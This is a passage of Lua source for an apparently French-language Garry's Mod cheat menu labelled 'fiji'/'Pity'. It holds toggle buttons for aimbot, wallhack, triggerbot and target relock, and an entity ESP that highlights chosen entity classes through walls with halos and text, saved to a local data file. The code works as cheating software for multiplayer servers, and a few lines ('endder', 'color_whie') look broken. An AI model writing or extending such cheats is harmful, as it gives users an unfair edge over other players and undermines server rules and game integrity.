4369function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4370fiji_aimbot_active:GetInt() == 1 then RunConsoleCommand(
4371"fiji_aimbot_active", 0 ) else RunConsoleCommand( "fiji_aimbot_active", 1
4372 ) end end
4373function btnaimbotact:Think() if fiji_aimbot_active:GetInt() == 1 then
4374self.activebtn = true else self.activebtn = false end end
4375
4376local btnaimbotact = BD:CreateBtn( "Wallhack", 235, 30, 65, 25, pContent
4377 )
4378function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4379fiji_aimbot_wall:GetInt() == 1 then RunConsoleCommand(
4380"fiji_aimbot_wall", 0 ) else RunConsoleCommand( "fiji_aimbot_wall", 1 )
4381 end end
4382function btnaimbotact:Think() if fiji_aimbot_wall:GetInt() == 1 then
4383self.activebtn = true else self.activebtn = false end end
4384
4385local btnaimbotact = BD:CreateBtn( "Cible Suiv.", 305, 30, 65, 25,
4386pContent )
4387function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4388fiji_aimbot_relock:GetInt() == 1 then RunConsoleCommand(
4389"fiji_aimbot_relock", 0 ) else RunConsoleCommand( "fiji_aimbot_relock", 1
4390 ) end end
4391function btnaimbotact:Think() if fiji_aimbot_relock:GetInt() == 1 then
4392self.activebtn = true else self.activebtn = false end end
4393
4394local btnaimbotact = BD:CreateBtn( "Amis", 235, 95, 65, 25, pContent )
4395
4396function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4397fiji_aimbot_friends:GetInt() == 1 then RunConsoleCommand(
4398"fiji_aimbot_friends", 0 ) else RunConsoleCommand(
4399"fiji_aimbot_friends", 1 ) end end
4400function btnaimbotact:Think() if fiji_aimbot_friends:GetInt() == 1 then
4401 self.activebtn = true else self.activebtn = false end end
4402
4403local btnaimbotact = BD:CreateBtn( "Admin", 165, 95, 65, 25, pContent )
4404
4405function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4406fiji_aimbot_admin:GetInt() == 1 then RunConsoleCommand(
4407"fiji_aimbot_admin", 0 ) else RunConsoleCommand( "fiji_aimbot_admin", 1 )
4408 end end
4409function btnaimbotact:Think() if fiji_aimbot_admin:GetInt() == 1 then
4410self.activebtn = true else self.activebtn = false end end
4411
4412local btnaimbotact = BD:CreateBtn( "Team", 305, 95, 65, 25, pContent )
4413
4414function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4415fiji_aimbot_team:GetInt() == 1 then RunConsoleCommand(
4416"fiji_aimbot_team", 0 ) else RunConsoleCommand( "fiji_aimbot_team", 1 )
4417 end end
4418function btnaimbotact:Think() if fiji_aimbot_team:GetInt() == 1 then
4419self.activebtn = true else self.activebtn = false end end
4420
4421
4422
4423local btnaimbotact = BD:CreateBtn( "Activé", 165, 230, 65, 25, pContent
4424 )
4425function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4426fiji_triggerbot_active:GetInt() == 1 then RunConsoleCommand(
4427"fiji_triggerbot_active", 0 ) else RunConsoleCommand(
4428"fiji_triggerbot_active", 1 ) end end
4429function btnaimbotact:Think() if fiji_triggerbot_active:GetInt() == 1
4430then self.activebtn = true else self.activebtn = false end end
4431
4432local btnaimbotact = BD:CreateBtn( "Debug", 235, 230, 65, 25, pContent )
4433
4434function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4435fiji_triggerbot_opti:GetInt() == 1 then RunConsoleCommand(
4436"fiji_triggerbot_opti", 0 ) else RunConsoleCommand(
4437"fiji_triggerbot_opti", 1 ) end end
4438function btnaimbotact:Think() if fiji_triggerbot_opti:GetInt() == 1
4439then self.activebtn = true else self.activebtn = false end end
4440
4441local btnaimbotact = BD:CreateBtn( "Réaliste", 305, 230, 65, 25,
4442pContent )
4443function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4444fiji_triggerbot_real:GetInt() == 1 then RunConsoleCommand(
4445"fiji_triggerbot_real", 0 ) else RunConsoleCommand(
4446"fiji_triggerbot_real", 1 ) end end
4447function btnaimbotact:Think() if fiji_triggerbot_real:GetInt() == 1
4448then self.activebtn = true else self.activebtn = false end end
4449
4450local btnaimbotact = BD:CreateBtn( "Amis", 235, 300, 65, 25, pContent )
4451
4452function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4453fiji_triggerbot_friends:GetInt() == 1 then RunConsoleCommand(
4454"fiji_triggerbot_friends", 0 ) else RunConsoleCommand(
4455"fiji_triggerbot_friends", 1 ) end end
4456function btnaimbotact:Think() if fiji_triggerbot_friends:GetInt() == 1
4457then self.activebtn = true else self.activebtn = false end end
4458
4459local btnaimbotact = BD:CreateBtn( "Admin", 165, 300, 65, 25, pContent )
4460
4461function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4462fiji_triggerbot_wall:GetInt() == 1 then RunConsoleCommand(
4463"fiji_triggerbot_wall", 0 ) else RunConsoleCommand(
4464"fiji_triggerbot_wall", 1 ) end end
4465function btnaimbotact:Think() if fiji_triggerbot_wall:GetInt() == 1
4466then self.activebtn = true else self.activebtn = false end end
4467
4468local btnaimbotact = BD:CreateBtn( "Team", 305, 300, 65, 25, pContent )
4469
4470function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if
4471fiji_triggerbot_team:GetInt() == 1 then RunConsoleCommand(
4472"fiji_triggerbot_team", 0 ) else RunConsoleCommand(
4473"fiji_triggerbot_team", 1 ) end end
4474function btnaimbotact:Think() if fiji_triggerbot_team:GetInt() == 1
4475then self.activebtn = true else self.activebtn = false end end
4476
4477
4478end -- end aim
4479
4480
4481local save_dir = "vcmod/enthudset.txt"
4482
4483if not file.IsDir( "vcmod" , "DATA" ) then
4484 file.CreateDir( "vcmod", "[]" )
4485end
4486if not file.Exists( save_dir , "DATA" ) then
4487 file.Write( save_dir, "[]" )
4488end
4489
4490local function AddToESP( class, color )
4491 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4492 actual[class] = color
4493 file.Write( save_dir, util.TableToJSON( actual ) )
4494end
4495
4496local function RemoveFromESP( class )
4497 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4498 actual[class] = nil
4499 file.Write( save_dir, util.TableToJSON( actual ) )
4500end
4501
4502local function GetESP()
4503 return util.JSONToTable( file.Read( save_dir, "DATA" ) )
4504end
4505
4506local tblColors = {
4507 {
4508 color = Color( 255, 0, 0 )
4509 },
4510 {
4511 color = Color( 255, 102, 0 )
4512 },
4513 {
4514 color = Color( 196, 192, 0 )
4515 },
4516 {
4517 color = Color( 0, 255, 0 )
4518 },
4519 {
4520 color = Color( 0, 0, 255 )
4521 },
4522 {
4523 color = Color( 0, 229, 255 )
4524 },
4525 {
4526 color = Color( 89, 0, 255 )
4527 },
4528 {
4529 color = Color( 255, 0, 250 )
4530 },
4531 {
4532 color = Color( 255, 255, 255 )
4533 },
4534 {
4535 color = Color( 0, 0, 0 )
4536 },
4537}
4538
4539local function reOpenMenu( pnl )
4540 pnl:Remove()
4541 LocalPlayer():ConCommand( "fiji_espent" )
4542end
4543
4544hook.Add( "HUDPaint", "ESPAdvanced:espenttext", function()
4545if fiji_vision_enable_ent:GetInt() == 1 then
4546 if fiji_vision_enable_enttext:GetInt() == 1 then
4547 for Ik, Iv in pairs( GetESP() ) do
4548 for k, v in pairs( ents.FindByClass( Ik ) ) do
4549if v:GetPos():Distance( LocalPlayer():GetPos() ) >
4550fiji_vision_distance_ent:GetInt() then continue end
4551 local Pos = ( v:GetPos() ):ToScreen()
4552 draw.SimpleText( Ik, "Trebuchet18", Pos.x, Pos.y, Iv.color, 1, 1 )
4553
4554 end
4555 end
4556 else end
4557 else end
4558end)
4559
4560
4561hook.Add( "PreDrawHalos", "ESPAdvanced:espenthalo", function()
4562 if fiji_vision_enable_ent:GetInt() == 1 then
4563 if fiji_vision_enable_enthalo:GetInt() == 1 then
4564 for k, v in pairs( GetESP() ) do
4565 halo.Add( ents.FindByClass( k ), v.color, 5, 5, 2, true, true )
4566 end
4567 else end
4568 else end
4569end )
4570
4571local blackListESP = {
4572 ["func_brush"] = true,
4573 ["worldspawn"] = true,
4574 ["viewmodel"] = true,
4575 ["widget_base"] = true,
4576 ["widget_bone"] = true,
4577 ["widget_bones"] = true,
4578 ["widget_disc"] = true,
4579 ["edit_sky"] = true,
4580 ["edit_fog"] = true,
4581 ["edit_sun"] = true,
4582 ["gmod_balloon"] = true,
4583 ["gmod_ghost"] = true,
4584 ["widget_axis_arrow"] = true,
4585 ["gmod_light"] = true,
4586 ["gmod_thruster"] = true,
4587 ["base_ai"] = true,
4588 ["base_nextbot"] = true,
4589 ["base_anim"] = true,
4590 ["gmod_dynamite"] = true,
4591 ["prop_effect"] = true,
4592 ["gmod_emitter"] = true,
4593 ["lab_base"] = true,
4594 ["gmod_hands"] = true,
4595 ["ragdoll_motion"] = true,
4596 ["widget_bonemanip_move"] = true,
4597 ["gmod_button"] = true,
4598 ["gmod_cameraprop"] = true,
4599 ["gmod_hoverball"] = true,
4600 ["fadmin_jail"] = true,
4601 ["widget_arrow"] = true,
4602 ["base_point"] = true,
4603 ["widget_axis_disc"] = true,
4604 ["widget_bonemanip_rotate"] = true,
4605 ["widget_bonemanip_scale"] = true,
4606 ["fadmin_motd"] = true,
4607 ["env_skypaint"] = true,
4608 ["base_edit"] = true,
4609 ["base_entity"] = true,
4610 ["gmod_anchor"] = true,
4611 ["gmod_wheel"] = true,
4612 ["gmod_lamp"] = true,
4613 ["sent_ball"] = true,
4614 ["base_gmodentity"] = true,
4615 ["npc_tf2_ghost"] = true,
4616 ["class C_PlayerResource"] = true,
4617 ["class C_GMODGameRulesPro"] = true,
4618}
4619
4620concommand.Add( "fiji_espent", function()
4621 local Base = vgui.Create( "DFrame" )
4622 Base:SetSize( 700, 245 )
4623 Base:SetTitle( "" )
4624 Base:Center()
4625 Base:MakePopup()
4626 Base:ShowCloseButton(false)
4627function Base:Paint( w, h )
4628DrawBlur(self, 25)
4629draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,240 ) )
4630
4631if fiji_style_menu:GetInt() == 2 then
4632draw.RoundedBox( 0, 4, 4, w - 8,
46332,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
4634draw.RoundedBox(
4635 0, 4, h - 6, w - 10, 2,
4636Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4637 )
4638draw.RoundedBox( 0, 4, 6, 2, h - 12,
4639Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4640 )
4641draw.RoundedBox( 0, w - 6, 6, 2, h - 10,
4642Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4643 )
4644elseif fiji_style_menu:GetInt() == 1 then
4645draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1,
46460.5 ) )
4647draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60,
4648 1, 0.5 ) )
4649draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1,
46500.5 ) )
4651draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60,
4652 1, 0.5 ) )
4653else
4654draw.RoundedBox( 0, 4, 4, w - 8, 2, Color(
4655fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4656 255 ) )
4657draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(
4658fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4659 255 ) )
4660draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(
4661fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4662 255 ) )
4663draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(
4664fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4665 255 ) )
4666end
4667end
4668
4669local CloseMain = vgui.Create( "DButton", Base)
4670CloseMain:SetPos( 673, 7)
4671CloseMain:SetSize( 20, 20 )
4672CloseMain:SetTextColor( Color( 255, 255, 255, 255 ) )
4673CloseMain:SetText( "X" )
4674CloseMain.Paint = function( self, w, h )
4675draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4676if self:IsHovered() then
4677draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
4678else
4679draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
4680end
4681CloseMain.DoClick = function()
4682Base:Remove()
4683end
4684end
4685
4686concommand.Add( "fiji_clearespent", function() -- fiji_sv_existmen
4687Base:Remove()
4688
4689end)
4690
4691
4692local CopiediscordHome = vgui.Create( "DButton", Base)
4693CopiediscordHome:SetPos( 10, 200)
4694CopiediscordHome:SetSize( 80, 35 )
4695CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
4696CopiediscordHome:SetText( "Sauvegarder" )
4697CopiediscordHome.Paint = function( self, w, h )
4698draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4699if self:IsHovered() then
4700draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
4701aBorder = Color( 110,110,110, 80 )
4702else
4703draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4704aBorder = Color( 110,110,110, 0 )
4705endder = Color( 110,110,110, 0 )
4706end
4707CopiediscordHome.OnCursorEntered = function(self)
4708surface.PlaySound( fiji_pityhover )
4709end
4710surface.SetDrawColor( aBorder )
4711surface.DrawOutlinedRect( 0, 0, w, h )
4712CopiediscordHome.DoClick = function()
4713LocalPlayer():ConCommand("fiji_clearespent")
4714surface.PlaySound( fiji_pityclick )
4715chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 89, 255, 105 ),
4716"Entitées sauvegarder" )
4717end
4718end
4719
4720
4721--[[-------------------------------------------------------------------------
4722
4723 Added
4724
4725---------------------------------------------------------------------------]]
4726
4727
4728 local added = vgui.Create( "DPanel", Base )
4729 added:SetSize( 200, 200 )
4730 added:SetPos( 255, 35 )
4731 function added:Paint( intW, intH )
4732 surface.SetDrawColor(75, 75, 75, 50 )
4733 surface.DrawRect( 0, 0, intW, 25 )
4734
4735 draw.SimpleText( "Entités ajoutées", "Trebuchet18", intW / 2,
473625 / 2, color_white, 1, 1 )
4737 end
4738
4739 local aScroll = vgui.Create( "DScrollPanel", added )
4740 aScroll:SetSize( added:GetWide(), added:GetTall() - 25 )
4741 aScroll:SetPos( 0, 25 )
4742 aScroll.VBar:SetHideButtons( true )
4743 local scroll = aScroll.VBar
4744 function scroll:Paint( intW, intH )
4745 surface.SetDrawColor( 75, 75, 75, 80)
4746 surface.DrawRect( 0, 0, intW, intH )
4747 end
4748 function scroll.btnGrip:Paint( intW, intH )
4749 surface.SetDrawColor( 255, 255, 255, 10 )
4750 surface.DrawRect( 0, 0, intW, intH )
4751 end
4752
4753 local function makeList()
4754 aScroll:Clear()
4755
4756 local esp = GetESP()
4757
4758 local intItem = 0
4759
4760 for k, v in pairs( esp ) do
4761 local item = vgui.Create( "DPanel", aScroll )
4762 item:SetSize( aScroll:GetWide(), 25 )
4763 item:SetPos( 0, intItem * 25 )
4764 function item:Paint( intW, intH )
4765 surface.SetDrawColor( 75, 75, 75, 50 )
4766 surface.DrawRect( 0, 0, intW, intH )
4767
4768 draw.SimpleText( k, "Trebuchet18", 30, intH / 2,
4769v.color, 0, 1 )
4770 end
4771
4772 local remove = vgui.Create( "DImageButton", item )
4773 remove:SetSize( 10, 10 )
4774 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() /
47752+3 )
4776 remove:SetImage( "icon16/cross.png" )
4777 remove:SetTooltip( "Supprimer" )
4778 function remove:DoClick()
4779 RemoveFromESP( k )
4780 makeList()
4781 end
4782
4783 intItem = intItem + 1
4784 end
4785 end
4786 makeList()
4787
4788
4789
4790--[[-------------------------------------------------------------------------
4791
4792 Add
4793
4794---------------------------------------------------------------------------]]
4795
4796
4797 local addPanel = vgui.Create( "DPanel", Base )
4798 addPanel:SetSize( 215, 55 )
4799 addPanel:SetPos( 10, 35 )
4800 addPanel:SetBackgroundColor( Color( 50, 50, 50 ) )
4801
4802 local class = vgui.Create( "DTextEntry", addPanel )
4803 class:SetSize( addPanel:GetWide() - 75, 30 )
4804 class:SetPlaceholderText( "Classe" )
4805
4806 local colors = vgui.Create( "DPanel", addPanel )
4807 colors:SetSize( addPanel:GetWide(), 25 )
4808 colors:SetPos( 0, 30 )
4809 function colors:Paint() end
4810
4811 local activeColor = 1
4812
4813 for i = 1, #tblColors do
4814 local color = vgui.Create( "DButton", colors )
4815 color:SetSize( 16, 16 )
4816 color:SetPos( 5 + ( ( i - 1 ) * 21 ), 5 )
4817 color:SetText("")
4818 function color:Paint( intW, intH )
4819 surface.SetDrawColor( tblColors[i].color )
4820 surface.DrawRect( 0, 0, intW, intH )
4821
4822 if activeColor == i then
4823 surface.SetDrawColor( color_white )
4824 surface.DrawOutlinedRect( 0, 0, intW, intH )
4825 surface.SetDrawColor( color_black )
4826 surface.DrawOutlinedRect( 1, 1, intW - 2, intH - 2 )
4827 end
4828 end
4829 function color:DoClick()
4830 activeColor = i
4831 end
4832 end
4833
4834 local add = vgui.Create( "DButton", addPanel )
4835 add:SetSize( addPanel:GetWide() - class:GetWide(), 30 )
4836 add:SetPos( class:GetWide(), 0 )
4837 add:SetText( "Ajouter" )
4838 function add:OnCursorEntered() self.IsHovered = true end
4839function add:OnCursorExited() self.IsHovered = false end
4840function add:Paint( w, h )
4841
4842if self.IsHovered then
4843draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 100 ) )
4844cBorder = Color( 110,110,110, 30 )
4845add:SetTextColor( Color( 255, 255, 255, 255 ) )
4846else
4847draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 50 ) )
4848cBorder = Color( 110,110,110, 0 )
4849add:SetTextColor( Color( 255, 255, 255, 150 ) )
4850end
4851
4852
4853surface.SetDrawColor( cBorder )
4854surface.DrawOutlinedRect( 0, 0, w, h )
4855end
4856 function add:DoClick()
4857 AddToESP( class:GetText() or "null", tblColors[activeColor] or
4858color_whie )
4859 makeList()
4860 end
4861
4862
4863--[[-------------------------------------------------------------------------
4864
4865 List srv
4866
4867---------------------------------------------------------------------------]]
4868
4869
4870 local srvPanelList = vgui.Create( "DPanel", Base )
4871 srvPanelList:SetSize( 200, 200 )
4872 srvPanelList:SetPos( Base:GetWide() - srvPanelList:GetWide() - 10,
487335 )
4874 function srvPanelList:Paint( intW, intH )
4875 surface.SetDrawColor( 75, 75, 75, 50 )
4876 surface.DrawRect( 0, 0, intW, 25 )
4877
4878 draw.SimpleText( "Entités du serveur", "Trebuchet18", intW / 2,
4879 25 / 2, color_white, 1, 1 )
4880 end
4881
4882 local srvScroll = vgui.Create( "DScrollPanel", srvPanelList )
4883 srvScroll:SetSize( srvPanelList:GetWide(), srvPanelList:GetTall() -
488450 )
4885 srvScroll:SetPos( 0, 50 )
4886 srvScroll.VBar:SetHideButtons( true )
4887 local scroll = srvScroll.VBar
4888 function scroll:Paint( intW, intH )
4889 surface.SetDrawColor( 75, 75, 75, 80)
4890
4891 surface.DrawRect( 0, 0, intW, intH )
4892 end
4893 function scroll.btnGrip:Paint( intW, intH )
4894
4895 surface.SetDrawColor( 255, 255, 255, 10 )
4896 surface.DrawRect( 0, 0, intW, intH )
4897 end
4898
4899 local srvList = vgui.Create( "DIconLayout", srvScroll )
4900 srvList:SetSize( srvScroll:GetWide(), srvScroll:GetTall() )
4901
4902 local srv = scripted_ents.GetList()
4903 table.sort( srv, function( a, b ) return a.t.ClassName >
4904b.t.ClassName end )
4905 local getEsp = GetESP()
4906
4907 local intItem = 0
4908
4909 local tblUsed = {}
4910 local tblESp = GetESP()
4911
4912 for k, v in pairs( srv ) do
4913 if tblESp[ v.t.ClassName ] != nil then continue end
4914 if blackListESP[v.t.ClassName] then continue end
4915
4916 if tblUsed[v.t.ClassName] then continue end
4917 tblUsed[v.t.ClassName] = true
4918
4919 local item = srvList:Add( "DPanel" )
4920 item:SetSize( srvScroll:GetWide(), 25 )
4921 item:SetPos( 0, intItem * 25 )
4922 item.class = v.t.ClassName
4923 function item:Paint( intW, intH )
4924 surface.SetDrawColor( 75, 75, 75, 50 )
4925 surface.DrawRect( 0, 0, intW, intH )
4926
4927 draw.SimpleText( v.t.ClassName, "Trebuchet18", 30, intH / 2,
4928 color_white, 0, 1 )
4929 end
4930
4931 local remove = vgui.Create( "DImageButton", item )
4932 remove:SetSize( 13, 13 )
4933 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2 +2)
4934 remove:SetImage( "icon16/add.png" )
4935 remove:SetTooltip( "Ajouter" )
4936 function remove:DoClick()
4937 class:SetText( v.t.ClassName )
4938 makeList()
4939 end
4940
4941 intItem = intItem + 1
4942 end
4943
4944 local search = vgui.Create( "DTextEntry", srvPanelList )
4945 search:SetSize( srvPanelList:GetWide(), 25 )
4946 search:SetPos( 0, 25 )
4947 function search:OnChange()
4948 for k, v in pairs( srvList:GetChildren() ) do
4949 print( v.class )
4950 if string.find( v.class, self:GetText() ) then
4951 v:SetVisible( true )
4952 else
4953 v:SetVisible( false )
4954 end
4955 srvList:Layout()
4956 end
4957 end
4958
4959end)
4960
4961function BD:Esp( pContent )
4962
4963local BDMenuEsp = vgui.Create("DPanel", pContent)
4964BDMenuEsp:SetSize( 539, 388 )
4965BDMenuEsp:SetPos( 0, 0 )
4966BDMenuEsp.Paint = function( self, w, h)
4967draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
4968
4969if fiji_style_menu:GetInt() == 2 then
4970draw.RoundedBox( 0, 0, 146, 2, h - 120,
4971Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4972 )
4973draw.RoundedBox( 0, 0, 0, 2, h - 286,
4974Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4975 )
4976
4977elseif fiji_style_menu:GetInt() == 1 then
4978draw.RoundedBox( 0, 0, 146, 2, h - 120, HSVToColor( CurTime() % 6 * 60,
49791, 0.5 ) )
4980draw.RoundedBox( 0, 0, 0, 2, h - 286, HSVToColor( CurTime() % 6 * 60, 1,
4981 0.5 ) )
4982
4983else
4984draw.RoundedBox( 0, 0, 146, 2, h - 120, Color(
4985fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4986 255 ) )
4987draw.RoundedBox( 0, 0, 0, 2, h - 286, Color(
4988fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
4989 255 ) )
4990end
4991
4992
4993draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4994draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4995draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4996draw.RoundedBox( 0, 20, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4997draw.RoundedBox( 0, 175, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4998draw.SimpleText("Esp Joueurs", "pity_home3", 100, 10, Color(100, 100,
4999100,255), 0, 1)
5000
5001draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
5002draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
5003draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
5004draw.RoundedBox( 0, 284, 10, w - 463, 2, Color( 50,50,50, 255 ) )
5005draw.RoundedBox( 0, 440, 10, w - 463, 2, Color( 50,50,50, 255 ) )
5006draw.SimpleText("Esp Entitées", "pity_home3", 365, 10, Color(100, 100,
5007100,255), 0, 1)
5008
5009draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
5010draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
5011draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
5012draw.RoundedBox( 0, 284, 205, w - 455, 2, Color( 50,50,50, 255 ) )
5013draw.RoundedBox( 0, 433, 205, w - 455, 2, Color( 50,50,50, 255 ) )
5014draw.SimpleText("Esp Props", "pity_home3", 372.5, 205, Color(100, 100,
5015100,255), 0, 1)
5016end
5017local intW = 125
5018local intY = pContent:GetTall() / 2 - intW / 2
5019
5020
5021local pPcolor = vgui.Create( "DPanel", pContent )
5022pPcolor:SetSize( 205, 50 )
5023pPcolor:SetPos( 33, 243 )
5024function pPcolor:Paint( w, h )
5025draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5026draw.SimpleText( "Couleur ESP", "pity_home5", 72, 8, color_white, 0, 1 )
5027end
5028local OptionsColorRed = vgui.Create( "DButton", pPcolor )
5029OptionsColorRed:SetPos( 4,20 )
5030OptionsColorRed:SetSize( 20, 20 )
5031OptionsColorRed:SetText( " " )
5032OptionsColorRed.Paint = function( self, w, h )
5033if self:IsHovered() then
5034draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
5035surface.SetDrawColor(255, 255, 255 ,100)
5036surface.DrawOutlinedRect(0, 0, w, h)
5037else
5038draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
5039surface.SetDrawColor(255, 255, 255 ,100)
5040surface.DrawOutlinedRect(0, 0, w, h)
5041end
5042OptionsColorRed.DoClick = function()
5043LocalPlayer():ConCommand("fiji_principal_color 255")
5044LocalPlayer():ConCommand("fiji_secondary_color 0")
5045LocalPlayer():ConCommand("fiji_third_color 0")
5046surface.PlaySound( fiji_pityhover )
5047
5048end
5049end
5050local OptionsColorOrange = vgui.Create( "DButton", pPcolor )
5051OptionsColorOrange:SetPos( 26,20 )
5052OptionsColorOrange:SetSize( 20, 20 )
5053OptionsColorOrange:SetText( " " )
5054OptionsColorOrange.Paint = function( self, w, h )
5055if self:IsHovered() then
5056draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
5057surface.SetDrawColor(255, 255, 255 ,100)
5058surface.DrawOutlinedRect(0, 0, w, h)
5059else
5060draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
5061surface.SetDrawColor(255, 255, 255 ,100)
5062surface.DrawOutlinedRect(0, 0, w, h)
5063end
5064OptionsColorOrange.DoClick = function()
5065LocalPlayer():ConCommand("fiji_principal_color 255")
5066LocalPlayer():ConCommand("fiji_secondary_color 102")
5067LocalPlayer():ConCommand("fiji_third_color 0")
5068surface.PlaySound( fiji_pityhover )
5069
5070end
5071end
5072local OptionsColorYellow = vgui.Create( "DButton", pPcolor )
5073OptionsColorYellow:SetPos( 48,20 )
5074OptionsColorYellow:SetSize( 20, 20 )
5075OptionsColorYellow:SetText( " " )
5076OptionsColorYellow.Paint = function( self, w, h )
5077if self:IsHovered() then
5078draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
5079surface.SetDrawColor(255, 255, 255 ,100)
5080surface.DrawOutlinedRect(0, 0, w, h)
5081else
5082draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
5083surface.SetDrawColor(255, 255, 255 ,100)
5084surface.DrawOutlinedRect(0, 0, w, h)
5085end
5086OptionsColorYellow.DoClick = function()
5087LocalPlayer():ConCommand("fiji_principal_color 196")
5088LocalPlayer():ConCommand("fiji_secondary_color 192")
5089LocalPlayer():ConCommand("fiji_third_color 0")
5090surface.PlaySound( fiji_pityhover )
5091
5092end
5093end
5094local OptionsColorGreen = vgui.Create( "DButton", pPcolor )
5095OptionsColorGreen:SetPos( 70,20 )
5096OptionsColorGreen:SetSize( 20, 20 )
5097OptionsColorGreen:SetText( " " )
5098OptionsColorGreen.Paint = function( self, w, h )
5099if self:IsHovered() then
5100draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
5101surface.SetDrawColor(255, 255, 255 ,100)
5102surface.DrawOutlinedRect(0, 0, w, h)
5103else
5104draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
5105surface.SetDrawColor(255, 255, 255 ,100)
5106surface.DrawOutlinedRect(0, 0, w, h)
5107end
5108OptionsColorGreen.DoClick = function()
5109LocalPlayer():ConCommand("fiji_principal_color 0")
5110LocalPlayer():ConCommand("fiji_secondary_color 255")
5111LocalPlayer():ConCommand("fiji_third_color 0")
5112surface.PlaySound( fiji_pityhover )
5113
5114end
5115end
5116local OptionsColorBlue = vgui.Create( "DButton", pPcolor )
5117OptionsColorBlue:SetPos( 92,20 )
5118OptionsColorBlue:SetSize( 20, 20 )
5119OptionsColorBlue:SetText( " " )
5120OptionsColorBlue.Paint = function( self, w, h )
5121if self:IsHovered() then
5122draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
5123surface.SetDrawColor(255, 255, 255 ,100)
5124surface.DrawOutlinedRect(0, 0, w, h)
5125else
5126draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
5127surface.SetDrawColor(255, 255, 255 ,100)
5128surface.DrawOutlinedRect(0, 0, w, h)
5129end
5130OptionsColorBlue.DoClick = function()
5131LocalPlayer():ConCommand("fiji_principal_color 0")
5132LocalPlayer():ConCommand("fiji_secondary_color 0")
5133LocalPlayer():ConCommand("fiji_third_color 255")
5134surface.PlaySound( fiji_pityhover )
5135
5136end
5137end
5138local OptionsColorSeaBlue = vgui.Create( "DButton", pPcolor )
5139OptionsColorSeaBlue:SetPos( 114,20 )
5140OptionsColorSeaBlue:SetSize( 20, 20 )
